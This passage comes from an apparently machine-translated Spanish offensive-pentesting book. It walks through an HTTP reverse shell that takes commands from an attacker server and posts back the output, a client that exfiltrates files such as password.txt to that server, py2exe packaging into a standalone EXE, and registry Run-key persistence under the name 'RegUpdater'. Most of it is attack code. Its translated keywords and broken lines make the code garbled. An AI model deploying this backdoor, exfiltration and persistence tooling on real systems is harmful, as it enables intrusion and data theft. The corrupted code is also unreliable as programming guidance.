Dado que el archivo que queremos tomar tiene la misma extensión que nuestro contenedor de archivos, que
es .png, no necesitamos cambiar la extensión del archivo.
Intente capturar cualquier archivo que exista, pero aquí se aplica la misma regla: cambie el nombre del archivo
con su extensión original. Probemos con un archivo que no existe. Regrese a nuestro shell y escriba
grab*blaaaah.exe y arrojará un error, como se muestra en la siguiente imagen:
Esto bloqueará nuestro script en el lado de destino, que verá cuando ejecute ipconfig.
Probablemente esperaba que usáramos un protocolo conocido como FTP, SCP o FTP seguro para realizar la
transferencia de archivos. Pero utilizamos una transferencia de archivos de muy bajo nivel a través de un socket
TCP, por lo que puede preguntar por qué la realizamos. Dado que estos protocolos conocidos podrían estar
bloqueados en el firewall, no podremos extraer ningún archivo. Lo que hemos hecho aquí es, en lugar de iniciar un
nuevo canal cada vez que queremos transferir un archivo que puede llamar la atención del administrador, crear un
solo socket TCP, una sola sesión, para obtener acceso, haciendo un shell remoto, así como para la transferencia de
archivos. Este tipo de transferencia se llama transferencia en línea, donde tenemos un solo canal y una sola sesión
para realizar todas las acciones deseadas.
Exportando a EXE
Existen varios métodos para exportar su secuencia de comandos de Python a un archivo EXE independiente. Hoy
usaremos la biblioteca py2exe . Puede descargar la versión py2exe-0.6.9.win32-py2.7.exe desde https://
sourceforge.net/projects/py2exe/files/py2exe/0.6.9/.
Primero, proceda a instalar esta biblioteca. Es un proceso bastante simple, simplemente siga las instrucciones
en pantalla.
[ 26 ]
Una vez que haya terminado la instalación, abra una ventana de Python en la máquina de Windows e importe py2exe
solo para asegurarse de que podamos importar esta biblioteca sin excepciones.
Escriba python y luego importe py2exe. Si no arroja un error, tiene éxito:
Ahora, cree una carpeta llamada Toexe en su escritorio. En esta carpeta, debe tener tres cosas: el archivo binario
py2exe, el archivo de instalación de py2exe y su archivo de script Client.py . Para simplificar, cambie el nombre
del binario a py2exe.
El archivo de instalación, setup.py, establecerá los criterios para el archivo EXE independiente final:
# enlace de descarga de py2exe:

http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/
desde distutils.core importar configuración importar

py2exe, sys, os
Configuración de
sys.argv.append("py2exe") (opciones
= {'py2exe': {'bundle_files': 1}},
ventanas = [{'script': "Cliente.py"}], archivo zip = Ninguno,
En el script setup.py , comenzamos agregando el binario py2exe a nuestro directorio. Luego, establecemos
bundle_files en 1. Defina el nombre de nuestro script, Client.py. Establezca zipfile en Ninguno y ejecute este archivo
de instalación .
[ 27 ]
Se crearán dos carpetas, llamadas pasos de compilación y , después de realizar lo mencionado

distribución , como se muestra en la siguiente captura de pantalla:
[ 28 ]
Entonces, en la carpeta dist , tenemos nuestro Client.exe como independiente, sin

dependencias. Ahora, al ejecutar Client.exe, obtendremos la conexión (siempre que la secuencia
de comandos del servidor de la sección anterior Exfiltración de datos se esté ejecutando en el lado
de Kali) y podemos ver que se ha creado un proceso Client.exe en la tarea de Windows. Manager,
como se muestra en la siguiente captura de pantalla:
[ 29 ]
Entonces, una vez más, realice una verificación rápida de la siguiente manera:
1. Ejecute ipconfig 2.
Navegue por los directorios 3. Tome un archivo

como Koala.png y espere a que se transfiera correctamente:
[ 30 ]
4. Cambie la extensión del archivo a .png

5. Ahora, abra la imagen y, después de verla con éxito, termine el proceso Client.exe
6. Ejecute terminar en el shell de su máquina Kali 7. Una vez que presione Intro,
se terminará en la máquina de destino
Shell inverso HTTP

En esta sección, analizaremos un shell inverso de Python de nivel superior, que se transmitirá a través
del protocolo HTTP. Es muy probable que el protocolo HTTP se abra en las reglas de firewall de salida o
salida, ya que se usa para navegar por la web. Además, se requiere una gran cantidad de tráfico HTTP en
cada red, lo que hace que el monitoreo sea mucho más difícil y las posibilidades de que cometamos errores
son altas. Vamos a ver cómo funciona.
Primero, configuraremos un servidor HTTP simple y un cliente HTTP simple y usaremos los métodos GET
y POST para enviar datos entre estas dos entidades. Entonces, como se mencionó anteriormente, el cliente
iniciará una sesión HTTP inversa de regreso a nuestro servidor usando un método GET y en el lado del
servidor, una vez que recibamos una solicitud GET , comenzaremos a tomar comandos usando entrada sin
formato y enviaremos eso comando de regreso al objetivo.
Una vez que le damos el comando al objetivo, iniciará un subproceso: un subproceso cmd.exe .
Pase el comando a ese subproceso y nos enviará el resultado utilizando el método POST . Solo para
asegurarnos de que haya continuidad para nuestro caparazón, realizaremos la suspensión durante 3
segundos. Luego repetiremos todo el proceso nuevamente usando el ciclo while True: infinite. El código
es mucho más simple que el socket TCP anterior, especialmente en la sección de transferencia de
archivos, y esto se debe a que estamos usando un protocolo de alto nivel para transferir los archivos y datos.
La siguiente sección trata de la parte de codificación.
Codificando el shell inverso HTTP

En esta sección, cubriremos la parte de codificación para un shell inverso HTTP. En el lado del cliente,
usaremos una biblioteca de muy alto nivel para enviar nuestras solicitudes GET y POST .
La biblioteca llamada Solicitudes, que está disponible en https://pypi.python.org/pypi/solicitudes/

2.7.0#downloads , hará que sea mucho más fácil realizar una solicitud GET o POST en una sola línea.
Requests es una biblioteca de terceros, así que comencemos por instalarla. Todo lo que tiene que hacer es
navegar a través del símbolo del sistema hasta la carpeta que contiene su archivo de instalación y ejecutar
python setup.py install.
[ 31 ]
Para verificar que la biblioteca se haya instalado correctamente, abra el intérprete de Python, como hicimos
anteriormente para py2exe , e ingrese las solicitudes
estamos listos parade importación. Si no se lanzan excepciones aquí,
comenzar:
Lado del servidor

El siguiente bloque de código está en el lado del servidor:
# Servidor HTTP básico
import BaseHTTPServer # Biblioteca incorporada que usamos para construir un servidor HTTP simple
HOST_NAME = '10.10.10.100' # Dirección IP de Kali PORT_NUMBER = 80

# Número de puerto de escucha
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): # MyHandler define lo que debemos hacer cuando recibimos una
solicitud GET/POST
# del cliente
/ objetivo
def hacer_GET(s):
#Si recibimos una solicitud GET,
será:-
command = raw_input("Shell> ") #tomar la entrada del usuario s.send_response(200)
#return HTML status 200 (OK) s.send_header("Content-type", "text/html") # Informar
al objetivo sobre el tipo de contenido el encabezado es "text/html" s.end_headers() s.wfile.write(command) #enviar
el comando que recibimos del usuario
aporte
def hacer_POST(s):
[ 32 ]
#Si recibimos un POST,

será:-
s.send_response(200) #return HTML status 200 (OK) s.end_headers() length =
int(s.headers['Content-Length']) #Define la longitud que
significa cuántos bytes contienen los datos HTTP POST, la longitud

#valor tiene que ser
entero
postVar = s.rfile.read(longitud) # Leer y luego imprimir los datos publicados print postVar
si __nombre__ == '__principal__':
# Comenzamos una clase_servidor y creamos un objeto httpd y pasamos nuestro kali

IP, número de puerto y controlador de clase (MyHandler)
clase_servidor = BaseHTTPServer.HTTPServer httpd =
clase_servidor((HOST_NAME, PORT_NUMBER), MyHandler)
intente: httpd.serve_forever() # iniciar el servidor HTTP, sin embargo, si tenemos

ctrl+c Interrumpiremos y detendremos el servidor excepto KeyboardInterrupt:
print '[!] El servidor está terminado' httpd.server_close()
En el lado del servidor, usaremos una biblioteca integrada llamada BaseHTTPServer, para construir un
servidor HTTP básico, que maneja las solicitudes de los clientes. A continuación, definimos nuestra IP
de Kali y la dirección del puerto de escucha configurando PORT_NUMBER en 80. Luego, creamos un objeto
server_class y httpd , y pasaremos nuestra IP de escucha, PORT_NUMBER y un controlador de clase
MyHandler a server_class. El controlador de clase MyHandler define lo que se debe hacer cuando el servidor
recibe una solicitud GET o POST . El servidor se ejecutará para siempre sin codificar un tiempo Verdadero:.
Ahora, si el servidor recibe una solicitud GET , tomará la entrada del usuario utilizando la entrada
sin procesar y devolverá un estado HTML, 200, lo que significa que está bien. Ahora, send_header()
especifica la definición del campo de encabezado. Es obligatorio establecer este valor ya que nuestro
cliente HTTP debe conocer el tipo de datos. En este caso, es texto HTML, text/html. La función
wfile.write() es equivalente a enviar datos en nuestro shell TCP anterior, y usaremos esta función
para enviar el comando que el usuario ha ingresado a nuestro objetivo.
[ 33 ]
Si el servidor recibe primero una solicitud POST , similar a GET, devolveremos un estado HTML 200 para
decir que obtuvimos el POST sin ningún problema. s.headers ['Content-Length'] especifica cuántos bytes
contienen los datos HTTP POST . Tenga en cuenta que el valor devuelto es una cadena, pero debe
convertirse en un número entero antes de pasarlo como parámetro a rfile.read(). Usaremos la función de
número entero para realizar esto. Finalmente, imprimiremos la variable postVar , y en este caso será la
salida de ejecución del comando. El servidor se ejecutará para siempre usando la función serve_forever()
sin codificar un tiempo True:.
Sin embargo, si invocamos Ctrl + C desde el teclado, romperá el ciclo.
Lado del cliente

El siguiente bloque de código está en el lado del cliente:
# Python para el PenTest ofensivo: un curso práctico completo - Todos los derechos
reservado
# Sígueme en LinkedIn https://jo.linkedin.com/in/python2
# Cliente HTTP básico
solicitudes de importación # Enlace de descarga

https://pypi.python.org/pypi/requests#downloads, simplemente extraiga el archivo rar y siga el video :) tiempo de
importación del subproceso de importación
req = request.get('http://10.0.2.15') # Enviar solicitud GET a nuestro kali

servidor
comando = req.text # Almacene el txt recibido en la variable de comando si 'terminar' en el comando:
romper
demás:
CMD = subproceso.Popen(comando, shell=Verdadero, stdout=subproceso.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE) post_response =
request.post(url='http://10.0.2.15', data=CMD.stdout.read() ) # PUBLICAR el resultado
post_response = request.post( url='http://10.0.2.15', data=CMD.stderr.read() ) # o el error -si lo
hay-
tiempo.dormir(3)
[ 34 ]
Aquí, usamos el subproceso para crear un shell y luego creamos una solicitud GET a nuestro servidor
Kali. Tenga en cuenta que la función req.text devuelve el texto que hemos obtenido al enviar la solicitud
GET . En este caso, texto es el comando que debemos ejecutar. Ahora, una vez que obtengamos el
comando, iniciaremos un subproceso y el resultado de la ejecución o el error se enviará como un
método POST en una sola línea. Luego, el proceso se suspenderá durante 3 segundos y se repetirá
de nuevo. Esta parte de time.sleep() es solo para estar seguro, en caso de que tengamos una caída
de paquete o un error inesperado.
Además, puede mejorar este script agregando un manejo de excepciones

usando las funciones de prueba y excepción .
Una vez que procedamos a ejecutar el script en ambos lados, obtendremos nuestro shell en el lado del
servidor e intentaremos navegar a través de los directorios de trabajo actuales. Ejecute ipconfig y
obtendrá la configuración IP completa. Ahora, escriba mal un comando y aparecerá el mensaje de error,
como se muestra en el siguiente resultado:
[ 35 ]
Al final terminamos la sesión ejecutando terminar en el lado del servidor. Una vez que hacemos esto, salimos
de nuestro script en el lado del cliente, mientras que para salir del script en el lado del servidor necesitamos
presionar Ctrl + C en el teclado para terminar el bucle. El servidor terminará mostrando un mensaje [!] El
servidor ha terminado .
Exfiltración de datos: HTTP

Como hicimos con nuestro shell inverso de TCP, haremos una transferencia de archivos desde la máquina
de destino a la máquina atacante.
Lado del cliente

Afortunadamente, la biblioteca de solicitudes admite el envío de un archivo en solo dos líneas:
# Python para el PenTest ofensivo: un curso práctico completo - Todos los derechos reservados
# Cliente de filtración de datos HTTP
solicitudes de importación
subproceso de importación os
de importación tiempo de
importación
req = solicitudes.get('http://10.0.2.15') comando = req.text

si 'terminar' en el comando:
romper # terminar el ciclo
# Ahora, de manera similar a lo que hemos hecho en nuestro shell inverso de TCP, verificamos si el archivo
existe en primer lugar, si no, entonces # notificamos a nuestro atacante que no podemos encontrar el archivo,
pero si el archivo está allí, lo haremos. :- # 1. Agregar /almacenar en la URL # 2. Agregar una clave de diccionario
llamada 'archivo' # 3. Solicita que la biblioteca use el método POST llamado "multipart/form-data" al enviar archivos
[ 36 ]
#Todos los puntos anteriores se usarán en el lado del servidor para distinguir que este POST es para enviar un archivo NO
es una salida de comando habitual
#Consulte la secuencia de comandos del servidor para obtener más detalles sobre cómo podemos usar
estos puntos para obtener el archivo

grab,path=command.split('*') # dividir el comando de captura recibido en
dos partes y almacenar la segunda parte en la variable de ruta
if os.path.exists(ruta): # comprobar si el archivo está allí
url = 'http://10.0.2.15/store' # Agregado /store en la URL files = {'file': open(path, 'rb')} # Agregar una
clave de diccionario llamada 'file' donde el valor de la clave es el archivo en sí
r = solicitudes.post(url, archivos=archivos) # Enviar el archivo y detrás

las escenas, la biblioteca de solicitudes utiliza el método POST llamado "multipart/form-data"
demás:
post_response = solicitudes.post(url='http://10.0.2.15', data='[-]
¡No puedo encontrar el archivo!' ) demás:

stderr=subproceso.PIPE, stdin=subproceso.PIPE) post_response =
solicitudes.post(url='http://10.0.2.15',
datos=CMD.stdout.read() )
post_response = solicitudes.post(url='http://10.0.2.15',
datos=CMD.stderr.read() )
tiempo.dormir(3)
Aquí, realizaremos el mismo proceso que hicimos en el socket TCP. Si recibimos un comando
de captura de la máquina atacante, dividiremos este comando en dos partes, donde la segunda
parte contiene el directorio de la ruta o la ruta del archivo que queremos capturar. A continuación,
comprobaremos si el archivo está allí. De lo contrario, se lo notificaremos al servidor de inmediato.
Ahora, en caso de que el archivo estuviera allí, observe que agregamos /store a nuestra URL, url
= 'http://10.0.2.15/store' como un indicador de que transferiremos un archivo, no una salida cmd
normal ya que ambos utilizan el método POST para transmitir datos. Entonces, por ejemplo, cuando
enviamos un archivo, digamos x.doc, lo enviaremos con /store en la URL. Además, la biblioteca de
solicitudes utiliza un método POST especial llamado multipart/form-data para enviar un archivo.
[ 37 ]
Lado del servidor

Ahora, en el lado del servidor, hemos importado una nueva biblioteca llamada cgi. Este se usa para
manejar el archivo recibido y almacenarlo localmente. El siguiente es el script del lado del servidor:
# Servidor de filtración de datos HTTP
importar BaseHTTPServer
importar sistema operativo, cgi
NOMBRE_HOST = '10.0.2.15'
NÚMERO_PUERTO = 80
clase MiManejador(BaseHTTPServer.BaseHTTPRequestHandler):
def hacer_GET(s):
comando = raw_input("Shell> ") s.send_response(200)
s.send_header("Tipo de contenido", "texto/html")
s.end_headers() s.wfile.write(comando)
def hacer_POST(s):
# Aquí usaremos los puntos que mencionamos en el lado del Cliente, como punto de partida si "/store"
estaba en la URL # entonces este es un POST usado para la transferencia de archivos, así que analizaremos el
encabezado POST, si su valor era 'multipart/form-data' entonces

# pasará los parámetros POST a la clase FieldStorage, el "fs"
El objeto contiene los valores devueltos de FieldStorage en forma de diccionario si s.path == '/store': pruebe: ctype, pdict =
cgi.parse_header(s.headers.getheader('content-type'))
if ctype == 'multipart/form-data' :
fs = cgi.FieldStorage( fp = s.rfile,
headers = s.headers,
entorno={ 'REQUEST_METHOD':'POST' }
)
demás:
[ 38 ]
print "[-] Solicitud POST inesperada" fs_up = fs['file'] # Recuerde, en

el lado del cliente enviamos el archivo en forma de diccionario y usamos la clave 'file'
# para contener el archivo real. Ahora aquí para

recuperar el archivo real, usamos la clave correspondiente 'archivo' con open('/root/Desktop/1.txt', 'wb') como o: # crear
un
titular del archivo llamado '1.txt' y escriba el archivo recibido en este '1.txt'
o.write( fs_up.file.read() ) s.send_response(200)
s.end_headers()
excepto Excepción como e: imprimir e
return # una vez que almacenamos el archivo recibido en nuestro contenedor de archivos, salimos de la función
s.send_response(200) s.end_headers()
longitud = int(s.headers['Content-
Length']) postVar = s.rfile.read(longitud) print postVar
si __nombre__ == '__principal__':
server_class = BaseHTTPServer.HTTPServer httpd = server_class((HOST_NAME,
PORT_NUMBER), MyHandler) intente: httpd.serve_forever() excepto KeyboardInterrupt: print '[!] El servidor
está cerrado' httpd.server_close()
Si recibimos un POST con /store en la URL y el tipo de contenido como datos de varias partes/
formulario, significa que obtendremos un archivo de la máquina de destino, no la salida de comando habitual.
Luego, debemos pasar el archivo recibido, los encabezados y REQUEST_METHOD
a la clase FieldStorage . El valor devuelto de FieldStorage se puede indexar como un diccionario
de Python, donde tenemos una clave y un valor correspondiente. Por ejemplo, si creamos un
diccionario de Python llamado D con una clave K y valor v de la siguiente manera:
[ 39 ]
Para obtener el valor, , solo necesitamos tener la clave correspondiente, K. En el lado del cliente, cuando
enviamos el archivo, adjuntamos una etiqueta o clave llamada archivos = 'archivo'. Entonces, usaremos esta etiqueta
o clave en el lado del servidor para recibir ese archivo. FieldStorage tomará las claves y sus valores y los almacenará
en un objeto llamado fs. Pero solo nos interesa el valor del archivo, que es la etiqueta o clave que contiene el archivo
real que enviamos. Una vez que obtengamos ese valor, lo escribiremos en un marcador de posición llamado 1.txt. Al
final, salimos de la función para evitar cualquier confusión con las publicaciones de transferencia de archivos en curso.
Para iniciar la transferencia de archivos, realice los siguientes pasos:
1. Ejecute el código de la forma habitual en ambas máquinas (Ejecutar | Ejecutar módulo)

2. Una vez que obtengamos el Shell>, procedemos a realizar una búsqueda en el directorio con el dir
e intente capturar un archivo, digamos putty.exe, ejecutando el comando de captura, grab *putty.exe
3. Una vez que obtengamos el archivo en nuestra máquina servidor, cambie el nombre del marcador de posición a
putty.exe y verifique que tengamos putty.exe funcionando bien sin ningún tipo de daño en el archivo.
Esto se puede hacer ejecutando lo siguiente desde el símbolo del sistema:
masilla de vino.exe
4. Vuelva al shell y tome otro archivo, diga contraseña.txt, solo para probarlo.
5. Compruebe si puede leer el contenido después de cambiar el nombre del marcador de posición
6. Intente obtener un archivo que no existe; se le presentará un error ya que no
existir en primer lugar
Exportando a EXE
En esta sección, similar a lo que hemos hecho en nuestro socket TCP, exportaremos y probaremos nuestro shell
inverso HTTP en un EXE, y lo probaremos después de eso.
Aquí, también debe crear una carpeta llamada Toexe en su escritorio. Como se mencionó anteriormente, el archivo
binario py2exe , el archivo de configuración de py2exe y el archivo de script HTTP_Client.py deben estar en la carpeta.
El archivo de instalación, setup.py, será como se muestra aquí:

# Exportación HTTP a configuración de cliente EXE
[ 40 ]

py2exe, sys, os
Configuración de
ventanas = [{'script': "HTTP_Client.py"}], archivo zip = Ninguno,
Realice los siguientes pasos para iniciar la exportación:
1. Comience editando el archivo de instalación py2exe y cambie Client.py a

HTTP_Client.py, que es el nombre de nuestro script en el lado de destino.
2. Ejecute el script setup.py .
3. Una vez que hayamos terminado, iremos a la carpeta dist y copiaremos HTTP_Client.py
al escritorio.
4. Asegúrese de que el servidor ya se esté ejecutando. Una vez que obtengamos el Shell>, vaya a la
directorios usando el dir.
5. Intente tomar un archivo, diga agarrar*contraseña.txt, como hicimos en las secciones anteriores.
6. Después de obtener el archivo con éxito en el lado del servidor, pruebe otros comandos simples como
cd y whoami.
7. Intente escribir un comando incorrecto y verifique si está obteniendo el comando correcto.

mensaje de error
8. Al final, termine la sesión desde nuestro shell ejecutando la terminación
dominio
9. Puede comprobar que tenemos el proceso HTTP_Client.exe en nuestro

máquina de ventanas; una vez que ejecutamos terminar, el proceso desaparecerá de la lista
confirmando su terminación
[ 41 ]
Persistencia
Mantener el acceso es una fase muy importante de las pruebas de penetración. Supongamos que nuestro objetivo ha
ejecutado nuestro shell y todo va bien. Entonces, de repente, el objetivo simplemente apagó la computadora. Entonces,
en este caso, lo perderemos todo. Entonces, el punto clave aquí es que necesitamos sobrevivir después de un reinicio
o un apagado por parte de la máquina de destino. Ahora, antes de continuar, algunos clientes prohíben cualquier
modificación en la máquina de destino, por lo que debe asegurarse de establecer las expectativas correctas con su cliente
antes de continuar.
Si se permite la modificación, entonces tenemos tres fases de ejecución como se indica aquí:
1. Primero, nos copiaremos a nosotros mismos en una ubicación diferente y lo haremos en caso de que nuestro
objetivo elimine el archivo shell; por lo que esta copia es una copia de seguridad. En esta fase, se deben
identificar dos parámetros. Primero, la ruta de origen, que es el directorio donde se encuentra nuestro shell
o, en otras palabras, el directorio de trabajo actual. El segundo parámetro es la ruta de destino; aquí está la
carpeta Documentos .
Dado que cada PC tiene un nombre de usuario diferente, tendremos que averiguarlo ya que no
conocemos el perfil de nombre de usuario que estaba en nuestro objetivo anteriormente.
2. En la segunda fase, después de copiar nuestro shell en la carpeta Documentos o

Directorio de documentos , necesitamos agregar una clave de registro y señalarla en el archivo copiado en
la carpeta Documentos . Tenga en cuenta que la primera y la segunda fase solo deben ejecutarse una vez
después de que nuestra puerta trasera se instale en la máquina de destino por primera vez.
3. La tercera fase es comenzar nuestro caparazón inverso sin repetir los 2 anteriores
etapas.
Dado que no conocemos el directorio de trabajo actual o el perfil de usuario, tenemos que averiguarlo en primer lugar.
Esto sucederá en la fase de reconocimiento del sistema.
[ 42 ]
Ahora, para desglosar el flujo de trabajo de nuestro shell de persistencia, eche un vistazo a este sencillo
diagrama de flujo:
Lógicamente, comenzaremos con la fase de reconocimiento del sistema, Sys Reconn, y el resultado de esta fase
incluirá dos cosas. Primero, descubriremos el directorio de trabajo actual de nuestro shell y averiguaremos el perfil
de usuario. La segunda salida debe ser la ruta de destino.
A continuación, debemos determinar si estamos ejecutando por primera vez en la máquina de destino.
Ahora, probablemente te estés preguntando cómo podemos hacer eso. Bueno, gracias a la biblioteca del sistema
operativo por simplificarnos la tarea. Para lograr esto, simplemente verificaremos si nuestro script existe en la ruta
de destino o no. Si existe, entonces esta no es la primera vez que estamos en el lado del objetivo ya que ya hemos
hecho las dos primeras fases. Entonces, nos saltaremos las fases 1 y 2 y encenderemos nuestro caparazón.
[ 43 ]
Sin embargo, si es la primera vez que ejecutamos en el lado de destino, nos copiaremos en la ruta de
destino, que es lo que hacemos en la fase 1. Luego, agregamos una nueva clave de registro que
apunta a esta ubicación, que es la fase 2 aquí. Finalmente, debemos asegurarnos de recuperar
nuestra conexión con el servidor Kali. En las próximas dos secciones, verá todo en acción para
proporcionar más claridad sobre este concepto. Para facilitar la comprensión, dividiremos la parte de
codificación en dos partes. En la primera parte, haremos que putty.exe sea persistente, y en la segunda
parte, cerraremos e integraremos el script persistente con nuestro shell inverso HTTP anterior.
Hacer que putty.exe sea persistente

En esta sección, haremos que el programa putty.exe sea persistente. Puede buscar en Google y
descargar el software PuTTY de forma gratuita. Como explicamos anteriormente, nuestro script
comenzará con un reconocimiento del sistema y el resultado de esta fase será el directorio de trabajo
actual o el destino del perfil de usuario.
Ahora, traduzcamos esta fase en un bloque de código como se muestra aquí: estas líneas realizarán la
fase de reconocimiento por nosotros:
# Python para el PenTest ofensivo: un curso práctico completo - Todos los derechos reservados # Sígueme en
LinkedIn https://jo.linkedin.com/in/python2
# Persistencia
import os # necesario para obtener el directorio de trabajo import shutil #

necesario para copiar archivos import subprocess # necesario para obtener
el perfil de usuario import _winreg as wreg # necesario para editar la base de
datos del registro
# Fase de reconocimiento
ruta = os.getcwd().strip('/n') #Obtener el directorio de trabajo actual donde se ejecuta la puerta trasera, usamos
la salida para construir nuestra ruta de origen
Nulo,profesordeusuario = subprocess.check_output('establecer PERFIL DE USUARIO',

shell=True).split('=')
#Obtenga USERP ROFILE que contiene el nombre de usuario del perfil y guárdelo en la variable userprof #Otra
, usamos
forma de descubrir el perfil de usuario es a través
la salida
de os.getenv('userprofile'),
para construir nuestra ruta
ambos
de destino
darán el mismo resultado
[ 44 ]
destino = userprof.strip('\n\r') + '\\Documentos\\' +'putty.exe' #construir la ruta de destino donde copiamos su backdoor -
en nuestro ejemplo elegimos C:\Users\<UserName >\Documentos\
# Primera y Segunda Fases
if not os.path.exists(destination): # esta declaración if será falsa la próxima vez que ejecutemos el script porque nuestro putty.exe ya
estará copiado en el destino
#Primera vez que se ejecuta nuestro backdoor #Copie nuestro

Backdoor en C:\Users\<UserName>\Documents\ shutil.copyfile(ruta+'\putty.exe', destino)
clave = wreg.OpenKey(wreg.HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Run",0, wreg.KEY_ALL_ACCESS)
wreg.SetValueEx(clave, 'RegUpdater', 0,
wreg.REG_SZ, destino) clave.Cerrar( ) #crear una nueva cadena de registro llamada RegUpdater que apunte a
nuestra #nueva ruta de puerta trasera (destino)
#Si el script funcionó bien, el archivo putty.exe debe copiarse en C:\Users\<UserName>\Documents\ y debe
crearse una nueva clave de registro llamada 'RegUpdater'
#y apuntando a C:\Users\<UserName>\Documents\putty.exe
La función os.getcwd() obtendrá el directorio de trabajo actual para nosotros.
Ahora, en el Escritorio creamos una carpeta llamada Persistencia con el putty.exe que descargamos
para esta sección y el script Presistance.py que se mostró anteriormente.
Veamos el resultado de la línea os.getcwd() usando el shell interactivo de Python o la ventana

interactiva de Python:
1. Abra el símbolo del sistema y navegue hasta el directorio de trabajo actual, que es
Persistencia. Inicie un modo interactivo de Python.
2. Ejecute import os e imprima os.getcwd().
[ 45 ]
3. Aquí obtenemos el directorio de trabajo actual para nuestro script. Este resultado se almacenará
en la variable de ruta:
Mirando hacia atrás en el script Persistence.py , invocamos set USERPROFILE en el subproceso y

usamos este paso para obtener el nombre USERPROFILE . En base a esto, podemos construir nuestra
ruta de destino, que es la carpeta Documentos .
Ingrese la variable USERPROFILE establecida anteriormente en el símbolo del sistema. La salida será
un poco ruidosa, por lo que dividiremos la salida y almacenaremos la segunda parte en una variable
llamada userprof. El criterio o parámetro de división se basa en el signo = . En base a esto, dividiremos la
salida en dos secciones. La segunda sección se almacenará en una variable llamada userprof. Una vez
que conocemos esta información, podemos construir nuestra ruta de destino, que es la carpeta Documentos .
Agregamos Documentos y la cadena putty.exe para tener la ruta absoluta del destino.
Tenga en cuenta que <UserName> aquí ya no se desconoce. En este punto, hemos completado
con éxito nuestra fase de reconocimiento. Pasando a verificar si es la primera vez que aterrizamos en
esta computadora, haremos este truco a través de una función del sistema operativo llamada path.exists().
Si putty.exe no existe en la carpeta Documentos , esto significa que es la primera vez que ejecutamos
nuestro script aquí porque la próxima vez se copiará PuTTY, y el resultado de esta instrucción if , si no
os.path.exists (destino):, será falso. Dado que esta es nuestra primera vez, copiaremos putty.exe, que es
la variable de origen.
[ 46 ]
A continuación, agregaremos una clave de registro en el espacio del usuario. Tenga en cuenta que usamos
un espacio de usuario, no un espacio de máquina, a propósito. Al usar el espacio de usuario, nuestro script
funcionará, incluso si no tenemos privilegios de administrador. Hemos llamado a la cadena de clave de registro
RegUpdater (puede cambiarlo más tarde a cualquier otra cosa) y apuntamos su valor a nuestro destino final. Aquí
no tenemos caparazón; es solo masilla.exe. Por lo tanto, esta parte se discutirá en la siguiente sección. Antes de
ejecutar este script, verifiquemos que no tenemos nada en la base de datos del registro relacionado con nuestro script.
Vaya al Editor del Registro buscando regedit en Windows Start, y nuestra ruta será
Computer\HKEY_CURRENT_USER|Software\Microsoft\Windows\CurrentVersion\Ru n, como se muestra en la
parte inferior de la siguiente captura de pantalla, que no contiene nada. ahora que no sea la entrada
(predeterminada) :
Ahora, navegue a la carpeta Documentos y asegúrese de que no quede nada por hacer.
Por último, asegúrese de que el software PuTTY sea funcional al abrirlo directamente.
[ 47 ]
Ejecutaremos el script ahora mismo. Si no obtenemos una excepción o error, verificaremos la base
de datos del registro. Notará que tenemos nuestra clave de registro apuntando a este directorio en
Documentos y también PuTTY se ha copiado en el directorio Documentos :
Ahora, cierra todo y reinicia VirtualBox. Una vez que iniciamos nuestra máquina, si todo funciona bien,
deberíamos ver que se ha ejecutado putty.exe y debería aparecer la ventana PuTTY.
En la siguiente sección, haremos que nuestro shell inverso HTTP sea más inteligente y realizaremos todos
estos pasos dentro de una función integrada.
Hacer un shell inverso HTTP persistente

En esta sección, haremos nuestro shell inverso HTTP, que codificamos anteriormente. Luego, lo
exportaremos a EXE, lo probaremos y lo probaremos. Ahora, casi todo el trabajo duro ya está hecho y en
este punto deberías estar familiarizado con cada parte del código.
[ 48 ]
Entonces, para un resumen rápido, lo que hemos hecho aquí es cambiar putty.exe a Persistence.exe, que será nuestro nombre
de archivo EXE. La parte de destino será la misma, es decir, la carpeta Documentos . Finalmente, comenzamos nuestro shell
inverso HTTP como de costumbre.
El archivo de instalación aquí será el siguiente:

# Configuración de persistencia

py2exe, sys, os
Configuración de
ventanas = [{'script': "Persistence.py"}], zipfile = Ninguno,
Intentemos exportar este código a EXE y el nombre aquí será Persistencia. Una vez hecho esto, debería estar en la carpeta
dist . Ahora, lo probaremos en una cuenta que no sea de administrador solo para mostrar que ninguna parte de nuestro shell
requiere privilegios de administrador:
1. Desde el Panel de control, cree un usuario estándar.
2. Cree una contraseña rápida.
3. Copie el archivo de persistencia en C:; para que podamos tomar ese archivo del usuario no estándar
una vez que iniciemos sesión en esa cuenta.
4. Cierre sesión e inicie sesión con la nueva cuenta estándar.
5. Busque el archivo de persistencia y cópielo en el escritorio.
6. Como de costumbre, antes de ejecutar ese shell, verifique que no tengamos nada en la base de datos del registro.
Esto también se aplica a la carpeta Documentos .
7. Configure nuestro oyente en el lado de Kali, es decir, ejecute nuestro servidor HTTP.
8. Una vez hecho esto, observe que la clave de registro se ha agregado con éxito y al final nuestro archivo pudo
encontrar el nombre de usuario y copiarse en la carpeta Documentos con éxito.
[ 49 ]
9. Verifiquemos que nuestro shell funcione como se esperaba. Inicie el Administrador de tareas en la
máquina con Windows.
10. Comencemos ejecutando ping 10.0.2.15 en el lado del servidor, que es la dirección IP de la
máquina Kali.
11. Verifique la tabla arp en el lado de Windows con arp -a y asegúrese de que estos
los comandos funcionan bien.
12. Después de finalizar con éxito el proceso, eliminaremos el archivo Persistence.exe asumiendo que
nuestro objetivo eliminó el archivo shell y reinició la máquina cliente.
13. Vuelva a iniciar sesión y, si puede ver el caparazón en la máquina Kali, hemos estado
éxito con nuestra tarea.
Ajuste de los intentos de conexión

En todas nuestras secciones anteriores, hemos asumido que el atacante y la máquina objetivo están sincronizados
con el tiempo. Esto significa que nuestro servidor estaba activo y escuchando todo el tiempo. Ahora, la pregunta
es: ¿Qué sucede si la máquina atacante estaba desconectada por alguna razón o la conexión no se realizó
correctamente? Bueno, nuestra puerta trasera en el lado del cliente se bloqueará y, al mismo tiempo, aparecerá un
mensaje de error y volcará un archivo de texto que indica un error de excepción.
Actualmente, nuestra máquina Kali no está escuchando en ningún puerto. Entonces, si el atacante inicia un
TCP SYN para conectarse con nosotros, ahora que el puerto está cerrado, nuestra máquina Kali responderá
con un TCP RST. Ahora, echemos un vistazo rápido al nivel del paquete:
1. Habilite Wireshark en la máquina atacante ejecutando sudo wireshark y

puede ver que nuestro script no se está ejecutando allí 2.
Inicie una nueva captura en vivo 3. Establezca el filtro en TCP
